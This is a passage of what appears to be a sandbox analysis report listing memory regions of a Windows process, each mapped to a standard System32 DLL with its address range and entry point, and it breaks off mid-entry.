Region: id = 699 start_va = 0x7ffd44390000 end_va = 0x7ffd44398fff monitored = 0 entry_point = 0x7ffd44391480 region_type = mapped_file name = "wpportinglibrary.dll" filename = "\\Windows\\System32\\WpPortingLibrary.dll" (normalized: "c:\\windows\\system32\\wpportinglibrary.dll") Region: id = 700 start_va = 0x7ffd44670000 end_va = 0x7ffd446bafff monitored = 0 entry_point = 0x7ffd44687b70 region_type = mapped_file name = "veeventdispatcher.dll" filename = "\\Windows\\System32\\VEEventDispatcher.dll" (normalized: "c:\\windows\\system32\\veeventdispatcher.dll") Region: id = 701 start_va = 0x7ffd44840000 end_va = 0x7ffd4485afff monitored = 0 entry_point = 0x7ffd44841040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 702 start_va = 0x7ffd44860000 end_va = 0x7ffd44ae7fff monitored = 0 entry_point = 0x7ffd448bf670 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 703 start_va = 0x7ffd44af0000 end_va = 0x7ffd44af9fff monitored = 0 entry_point = 0x7ffd44af14c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 704 start_va = 0x7ffd44b00000 end_va = 0x7ffd44b0dfff monitored = 0 entry_point = 0x7ffd44b01460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 705 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 706 start_va = 0x7ffd44bf0000 end_va = 0x7ffd44c1afff monitored = 0 entry_point = 0x7ffd44bfc3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 707 start_va = 0x7ffd44c20000 end_va = 0x7ffd44d2cfff monitored = 0 entry_point = 0x7ffd44c4f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 708 start_va = 0x7ffd44db0000 end_va = 0x7ffd44e0efff monitored = 0 entry_point = 0x7ffd44ddbce0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 709 start_va = 0x7ffd45200000 end_va = 0x7ffd4529ffff monitored = 0 entry_point = 0x7ffd45270910 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 710 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 711 start_va = 0x7ffd455c0000 end_va = 0x7ffd4566dfff monitored = 0 entry_point = 0x7ffd455d80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 712 start_va = 0x7ffd45750000 end_va = 0x7ffd4575afff monitored = 0 entry_point = 0x7ffd45751d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 713 start_va = 0x7ffd45800000 end_va = 0x7ffd4586cfff monitored = 0 entry_point = 0x7ffd4580d750 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 714 start_va = 0x7ffd458c0000 end_va = 0x7ffd45914fff monitored = 0 entry_point = 0x7ffd458c3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 715 start_va = 0x7ffd45a10000 end_va = 0x7ffd45a29fff monitored = 0 entry_point = 0x7ffd45a12430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 716 start_va = 0x7ffd45a30000 end_va = 0x7ffd45a45fff monitored = 0 entry_point = 0x7ffd45a319f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 717 start_va = 0x7ffd45aa0000 end_va = 0x7ffd45ae0fff monitored = 0 entry_point = 0x7ffd45aa4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 718 start_va = 0x7ffd45b30000 end_va = 0x7ffd45b57fff monitored = 0 entry_point = 0x7ffd45b38c10 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 719 start_va = 0x7ffd45ca0000 end_va = 0x7ffd45e5ffff monitored = 0 entry_point = 0x7ffd45ca9e40 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 720 start_va = 0x7ffd45f00000 end_va = 0x7ffd45f0bfff monitored = 0 entry_point = 0x7ffd45f01470 region_type = mapped_file name = "dsclient.dll" filename = "\\Windows\\System32\\dsclient.dll" (normalized: "c:\\windows\\system32\\dsclient.dll") Region: id = 721 start_va = 0x7ffd45f60000 end_va = 0x7ffd45f73fff monitored = 0 entry_point = 0x7ffd45f650c0 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 722 start_va = 0x7ffd45fb0000 end_va = 0x7ffd45fbbfff monitored = 0 entry_point = 0x7ffd45fb1860 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 723 start_va = 0x7ffd45fc0000 end_va = 0x7ffd45fdffff monitored = 0 entry_point = 0x7ffd45fc1920 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 724 start_va = 0x7ffd45fe0000 end_va = 0x7ffd46002fff monitored = 0 entry_point = 0x7ffd45fe99a0 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 725 start_va = 0x7ffd460b0000 end_va = 0x7ffd460e7fff monitored = 0 entry_point = 0x7ffd460c8cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 726 start_va = 0x7ffd46190000 end_va = 0x7ffd461a8fff monitored = 0 entry_point = 0x7ffd46194520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 727 start_va = 0x7ffd46790000 end_va = 0x7ffd46830fff monitored = 0 entry_point = 0x7ffd46793db0 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 728 start_va = 0x7ffd46860000 end_va = 0x7ffd468cffff monitored = 0 entry_point = 0x7ffd46882960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 729 start_va = 0x7ffd46920000 end_va = 0x7ffd469e7fff monitored = 0 entry_point = 0x7ffd469613f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 730 start_va = 0x7ffd469f0000 end_va = 0x7ffd46a50fff monitored = 0 entry_point = 0x7ffd469f4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 731 start_va = 0x7ffd46ec0000 end_va = 0x7ffd4707cfff monitored = 0 entry_point = 0x7ffd46eeaf90 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\System32\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\system32\\windows.ui.immersive.dll") Region: id = 732 start_va = 0x7ffd47080000 end_va = 0x7ffd47401fff monitored = 0 entry_point = 0x7ffd470d1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 733 start_va = 0x7ffd47410000 end_va = 0x7ffd47545fff monitored = 0 entry_point = 0x7ffd4743f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 734 start_va = 0x7ffd48590000 end_va = 0x7ffd48638fff monitored = 0 entry_point = 0x7ffd485b9010 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 735 start_va = 0x7ffd48640000 end_va = 0x7ffd4874dfff monitored = 0 entry_point = 0x7ffd4868eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 736 start_va = 0x7ffd48750000 end_va = 0x7ffd487b9fff monitored = 0 entry_point = 0x7ffd48759d60 region_type = mapped_file name = "wincorlib.dll" filename = "\\Windows\\System32\\wincorlib.dll" (normalized: "c:\\windows\\system32\\wincorlib.dll") Region: id = 737 start_va = 0x7ffd487c0000 end_va = 0x7ffd48857fff monitored = 0 entry_point = 0x7ffd487e3980 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 738 start_va = 0x7ffd48860000 end_va = 0x7ffd488fffff monitored = 0 entry_point = 0x7ffd488856b0 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" (normalized: "c:\\windows\\system32\\hgcpl.dll") Region: id = 739 start_va = 0x7ffd48900000 end_va = 0x7ffd48981fff monitored = 0 entry_point = 0x7ffd48904ef0 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" (normalized: "c:\\windows\\system32\\imapi2.dll") Region: id = 740 start_va = 0x7ffd48990000 end_va = 0x7ffd489ecfff monitored = 0 entry_point = 0x7ffd48996c90 region_type = mapped_file name = "srchadmin.dll" filename = "\\Windows\\System32\\srchadmin.dll" (normalized: "c:\\windows\\system32\\srchadmin.dll") Region: id = 741 start_va = 0x7ffd489f0000 end_va = 0x7ffd48a40fff monitored = 0 entry_point = 0x7ffd489f25e0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 742 start_va = 0x7ffd48ac0000 end_va = 0x7ffd48ad5fff monitored = 0 entry_point = 0x7ffd48ac3380 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 743 start_va = 0x7ffd48ae0000 end_va = 0x7ffd48aeafff monitored = 0 entry_point = 0x7ffd48ae1a40 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 744 start_va = 0x7ffd48b80000 end_va = 0x7ffd48bf9fff monitored = 0 entry_point = 0x7ffd48ba7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 745 start_va = 0x7ffd48cb0000 end_va = 0x7ffd48cc5fff monitored = 0 entry_point = 0x7ffd48cb1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 746 start_va = 0x7ffd48cd0000 end_va = 0x7ffd48d33fff monitored = 0 entry_point = 0x7ffd48ce5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 747 start_va = 0x7ffd48d80000 end_va = 0x7ffd48e11fff monitored = 0 entry_point = 0x7ffd48dca780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 748 start_va = 0x7ffd49140000 end_va = 0x7ffd49150fff monitored = 0 entry_point = 0x7ffd49143320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 749 start_va = 0x7ffd493e0000 end_va = 0x7ffd49924fff monitored = 0 entry_point = 0x7ffd4957a450 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 750 start_va = 0x7ffd49930000 end_va = 0x7ffd49b9efff monitored = 0 entry_point = 0x7ffd499e22b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 751 start_va = 0x7ffd49c40000 end_va = 0x7ffd49c57fff monitored = 0 entry_point = 0x7ffd49c45910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 752 start_va = 0x7ffd49e00000 end_va = 0x7ffd49e4afff monitored = 0 entry_point = 0x7ffd49e172b0 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 753 start_va = 0x7ffd49e50000 end_va = 0x7ffd4a000fff monitored = 0 entry_point = 0x7ffd49ee61a0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 754 start_va = 0x7ffd4a010000 end_va = 0x7ffd4a0b1fff monitored = 0 entry_point = 0x7ffd4a030a40 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 755 start_va = 0x7ffd4a0c0000 end_va = 0x7ffd4a367fff monitored = 0 entry_point = 0x7ffd4a153250 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 756 start_va = 0x7ffd4a370000 end_va = 0x7ffd4a391fff monitored = 0 entry_point = 0x7ffd4a371a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 757 start_va = 0x7ffd4a3d0000 end_va = 0x7ffd4a48dfff monitored = 0 entry_point = 0x7ffd4a412d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 758 start_va = 0x7ffd4a490000 end_va = 0x7ffd4a572fff monitored = 0 entry_point = 0x7ffd4a4c7da0 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll") Region: id = 759 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 760 start_va = 0x7ffd4a940000 end_va = 0x7ffd4aa05fff monitored = 0 entry_point = 0x7ffd4a943ac0 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 761 start_va = 0x7ffd4aa70000 end_va = 0x7ffd4aaaffff monitored = 0 entry_point = 0x7ffd4aa83750 region_type = mapped_file name = "settingmonitor.dll" filename = "\\Windows\\System32\\SettingMonitor.dll" (normalized: "c:\\windows\\system32\\settingmonitor.dll") Region: id = 762 start_va = 0x7ffd4aab0000 end_va = 0x7ffd4af42fff monitored = 0 entry_point = 0x7ffd4aabf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 763 start_va = 0x7ffd4af50000 end_va = 0x7ffd4afb6fff monitored = 0 entry_point = 0x7ffd4af6e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 764 start_va = 0x7ffd4afc0000 end_va = 0x7ffd4b00efff monitored = 0 entry_point = 0x7ffd4afc7ab0 region_type = mapped_file name = "inputswitch.dll" filename = "\\Windows\\System32\\InputSwitch.dll" (normalized: "c:\\windows\\system32\\inputswitch.dll") Region: id = 765 start_va = 0x7ffd4b010000 end_va = 0x7ffd4b195fff monitored = 0 entry_point = 0x7ffd4b05d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 766 start_va = 0x7ffd4b1a0000 end_va = 0x7ffd4b1bbfff monitored = 0 entry_point = 0x7ffd4b1a37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 767 start_va = 0x7ffd4b1c0000 end_va = 0x7ffd4b1f4fff monitored = 0 entry_point = 0x7ffd4b1c3cc0 region_type = mapped_file name = "wscapi.dll" filename = "\\Windows\\System32\\wscapi.dll" (normalized: "c:\\windows\\system32\\wscapi.dll") Region: id = 768 start_va = 0x7ffd4b200000 end_va = 0x7ffd4b212fff monitored = 0 entry_point = 0x7ffd4b202760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 769 start_va = 0x7ffd4b220000 end_va = 0x7ffd4b244fff monitored = 0 entry_point = 0x7ffd4b222300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 770 start_va = 0x7ffd4b280000 end_va = 0x7ffd4b2a4fff monitored = 0 entry_point = 0x7ffd4b295220 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 771 start_va = 0x7ffd4b2d0000 end_va = 0x7ffd4b302fff monitored = 0 entry_point = 0x7ffd4b2d3800 region_type = mapped_file name = "portabledevicetypes.dll" filename = "\\Windows\\System32\\PortableDeviceTypes.dll" (normalized: "c:\\windows\\system32\\portabledevicetypes.dll") Region: id = 772 start_va = 0x7ffd4b310000 end_va = 0x7ffd4b324fff monitored = 0 entry_point = 0x7ffd4b312850 region_type = mapped_file name = "wpdshserviceobj.dll" filename = "\\Windows\\System32\\WPDShServiceObj.dll" (normalized: "c:\\windows\\system32\\wpdshserviceobj.dll") Region: id = 773 start_va = 0x7ffd4b330000 end_va = 0x7ffd4b36bfff monitored = 0 entry_point = 0x7ffd4b3325e0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" (normalized: "c:\\windows\\system32\\bthprops.cpl") Region: id = 774 start_va = 0x7ffd4b470000 end_va = 0x7ffd4b505fff monitored = 0 entry_point = 0x7ffd4b495570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 775 start_va = 0x7ffd4b530000 end_va = 0x7ffd4b556fff monitored = 0 entry_point = 0x7ffd4b537940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 776 start_va = 0x7ffd4b670000 end_va = 0x7ffd4b719fff monitored = 0 entry_point = 0x7ffd4b697910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 777 start_va = 0x7ffd4b720000 end_va = 0x7ffd4b81ffff monitored = 0 entry_point = 0x7ffd4b760f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 778 start_va = 0x7ffd4b8b0000 end_va = 0x7ffd4b8d9fff monitored = 0 entry_point = 0x7ffd4b8b8b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 779 start_va = 0x7ffd4bc90000 end_va = 0x7ffd4bd83fff monitored = 0 entry_point = 0x7ffd4bc9a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 780 start_va = 0x7ffd4bf00000 end_va = 0x7ffd4bf0bfff monitored = 0 entry_point = 0x7ffd4bf027e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 781 start_va = 0x7ffd4bfe0000 end_va = 0x7ffd4c010fff monitored = 0 entry_point = 0x7ffd4bfe7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 782 start_va = 0x7ffd4c040000 end_va = 0x7ffd4c0b9fff monitored = 0 entry_point = 0x7ffd4c061a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 783 start_va = 0x7ffd4c140000 end_va = 0x7ffd4c149fff monitored = 0 entry_point = 0x7ffd4c141830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 784 start_va = 0x7ffd4c250000 end_va = 0x7ffd4c26efff monitored = 0 entry_point = 0x7ffd4c255d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 785 start_va = 0x7ffd4c3c0000 end_va = 0x7ffd4c41bfff monitored = 0 entry_point = 0x7ffd4c3d6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 786 start_va = 0x7ffd4c470000 end_va = 0x7ffd4c486fff monitored = 0 entry_point = 0x7ffd4c4779d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 787 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 788 start_va = 0x7ffd4c620000 end_va = 0x7ffd4c659fff monitored = 0 entry_point = 0x7ffd4c628d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 789 start_va = 0x7ffd4c660000 end_va = 0x7ffd4c686fff monitored = 0 entry_point = 0x7ffd4c670aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 790 start_va = 0x7ffd4c770000 end_va = 0x7ffd4c79cfff monitored = 0 entry_point = 0x7ffd4c789d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 791 start_va = 0x7ffd4c900000 end_va = 0x7ffd4c955fff monitored = 0 entry_point = 0x7ffd4c910bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 792 start_va = 0x7ffd4c980000 end_va = 0x7ffd4c9a8fff monitored = 0 entry_point = 0x7ffd4c994530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 793 start_va = 0x7ffd4c9b0000 end_va = 0x7ffd4ca48fff monitored = 0 entry_point = 0x7ffd4c9df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 794 start_va = 0x7ffd4caf0000 end_va = 0x7ffd4cb03fff monitored = 0 entry_point = 0x7ffd4caf52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 795 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 796 start_va = 0x7ffd4cb60000 end_va = 0x7ffd4cb6ffff monitored = 0 entry_point = 0x7ffd4cb656e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 797 start_va = 0x7ffd4cb70000 end_va = 0x7ffd4cb7efff monitored = 0 entry_point = 0x7ffd4cb73210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 798 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 799 start_va = 0x7ffd4cc80000 end_va = 0x7ffd4ccd4fff monitored = 0 entry_point = 0x7ffd4cc97970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 800 start_va = 0x7ffd4cce0000 end_va = 0x7ffd4d323fff monitored = 0 entry_point = 0x7ffd4cea64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 801 start_va = 0x7ffd4d350000 end_va = 0x7ffd4d516fff monitored = 0 entry_point = 0x7ffd4d3adb80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 802 start_va = 0x7ffd4d5b0000 end_va = 0x7ffd4d664fff monitored = 0 entry_point = 0x7ffd4d5f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 803 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 804 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 805 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 806 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 807 start_va = 0x7ffd4db80000 end_va = 0x7ffd4dc40fff monitored = 0 entry_point = 0x7ffd4dba0da0 region_type = mapped_file name = "oleaut32.dll" filename = 